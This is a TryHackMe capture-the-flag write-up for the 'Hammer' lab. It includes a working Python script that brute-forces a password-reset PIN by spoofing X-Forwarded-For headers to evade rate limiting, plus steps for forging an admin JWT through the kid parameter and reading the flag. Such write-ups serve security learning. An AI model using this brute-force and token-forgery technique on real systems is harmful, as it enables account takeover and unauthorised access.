TryHackMe - Hammer writeup
Published on by logoseq
Walkthrough
Summary:
This lab focused on exploiting weak security through brute-forcing a 4-digit PIN
and manipulating JWT
validation.
We bypassed a rate-limited PIN system using brute force, gaining access to the account and changing the password. Next, we exploited a vulnerability in the JWT kid
parameter by pointing it to a file path on the server, signing a new token, and bypassing authentication.
The lab highlighted vulnerabilities in rate-limiting
and JWT handling, emphasizing the need for stronger security measures.
Below you can see my xMind map of the lab!

Foothold:
As always, I started with an nmap
scan, which revealed ports 22
and 1337
open. Port 22 wasn't useful because it didn't allow login using a password. On port 1337, I found an open HTTP server.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 1337/tcp open http Apache httpd 2.4.41 http-methods: |_ Supported Methods: GET HEAD POST OPTIONS
There was a login page at /index.php
, and on that page, there was a password reset link at /reset_password.php
. I followed the link and found a page with a form to enter the new password.
Viewing the source code, I found a comment indicating that a directory must start with hmr_
followed by directory_name
.

I used ffuf to search for other directories and found an interesting one, hmr_logs
, which contained an error.log
file.

I opened the error.log
file and found some directories that weren’t useful at all, along with a username which made me think it was an admin and I could reset his password via /reset_password.php
page.

Exploitation:
Since there was a user ******@hammer.thm, I added hammer.thm
to my /etc/hosts
file.
I remembered there was a /reset_password.php
page with a form to reset the password. I tried to send a password reset request, but it asked for a PIN.
I attempted to brute-force the PIN using Burp Intruder, but the system had rate limiting. I decided to write a Python script to brute-force the PIN and bypass the rate limit. I found an interesting article about bypassing rate limits. Here you can read about it: Rate-Limit-Pending bypass.
I used " X-Forwarded-For
" twice but it should work even if you use only one.
P.S: You have to change the IP each request you send to keep the Rate-Limit-Pending : 8
I wrote a Python script to bypass the rate limit, but it wasn’t enough due to the time constraint (180 seconds) before a new request could be made. I then asked ChatGPT to modify my code and add threading. After running the script with 6 threads, it worked!
import requests, re, time from random import randint from concurrent.futures import ThreadPoolExecutor # Function to attempt a single recovery code def try_code(code): global s, url # Use the session and URL from the global scope s.headers.update({ "X-Forwarded-For": f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}", "X-Forwarded-Host": f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}" }) code_str = f"{code:04d}" answer = s.post(url=url, data={"recovery_code": code_str, "s": 180}) res = re.search(r"Invalid or expired recovery code", answer.text) if not res: print(f"Found valid recovery code: {code_str}") return code_str return None # Initialize session and make the initial request s = requests.session() url = "http://lab.thm:1337/reset_password.php" s.headers.update({"Content-Type": "application/x-www-form-urlencoded"}) r = s.post(url=url, data={"email": "tester@hammer.thm"}) # Use ThreadPoolExecutor to test multiple codes concurrently with ThreadPoolExecutor(max_workers=6) as executor: futures = {executor.submit(try_code, code): code for code in range(0, 10000)} for future in futures: code = futures[future] if code % 100 == 0: print(f"Trying code: {code:04d}") result = future.result() if result is not None: print(f"Found valid recovery code: {result}") break time.sleep(0.2)

I used that code to change the password and log in. There was the first flag.

Post Exploitation:
I tried to run OS commands but the only one that worked was ls
and indeed I found a interesting .key file. Inside that file I found the key used to sign the jwt token.

Then I copied the jwt token from cookie and used it to craft a new jwt token. I changed the following values:
"kid": "/var/www/html/*******.key" [...] "role": "admin" [...] HMACSHA256 secret to one that I found earlier from *******.key

I send a new OS command and it worked, then I read the flag from /home/ubuntu/flag.txt
